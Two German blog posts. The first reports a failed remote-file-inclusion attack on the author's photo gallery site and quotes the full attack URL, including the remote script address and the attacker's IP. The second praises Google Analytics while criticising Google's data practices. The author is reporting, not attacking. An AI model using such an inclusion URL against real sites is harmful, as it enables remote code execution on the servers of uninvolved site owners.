Sehr erschreckend ist immer mal, wenn man Hackerangriffe auf die eigene Seite mit ansehen muss. Dies war bei mir gestern der Fall. Ein Mozillauser mit der IP 61.80.90.4 probierte heute Nacht um 00:37 Uhr, meine Seite mittels eines Includes zu hacken.

Bei näherem Hinsehen wusste ich zwar sofort, dass der Hacker ein kleines nichtskönnendes Kiddie war und keinerlei Schaden verursacht hat, aber der erste Schock war trotzdem da – die URL, mit der er meine Seite besucht hat, lautete nämlich http://www.dotwired.de/cpg1414/index.php?include_once=http://civil-engineering.science-tips.org/mambots/system/mic.txt?

Ich vermute stark, dass die IP einem Proxy gehört, aber gut. Ich hasse solche kleinen Scriptkiddies. Wer aus der URL der Exploits noch mehr Informationen herausziehen kann, dem sei noch gesagt: Ich bezweifle stark, dass es diese türkische Superheldengruppe war. Das sieht alles einfach zu laienhaft aus…

Google Analytics musste her

Mist, mist und noch einmal mist! Jetzt läuft auch Google’s Analytics auf meiner Seite. Dies liegt aber nur daran, dass es das einzige Statistiktool ist, welches mir die nötigen Informationen für meine Autorenaktion liefern könnte.

Ob ich Google mag oder nicht, Fairness muss sein! Nicht ohne Bedauern musste ich beim Benutzen dieses Dienstes feststellen, dass Google Analytics nicht ohne Grund unglaublich viel verwendet wird. Das Tool ist übersichtlich, umfangreich und trotzdem einfach zu handhaben. Außerdem ist es auch noch designerisch ansprechend, was will man da mehr? Google Analytics ist einfach erste Sahne…

Zu schade, dass Google mit den gewonnenen Informationen so einen Unfug treibt – und daran zweifle ich nicht, auch wenn während des Einrichtens des Google-Analytics-Kontos die Frage kam, ob Google die Daten nicht für eigene Statistiken benutzen dürfe ( was ich natürlich dennoch verweigert habe ).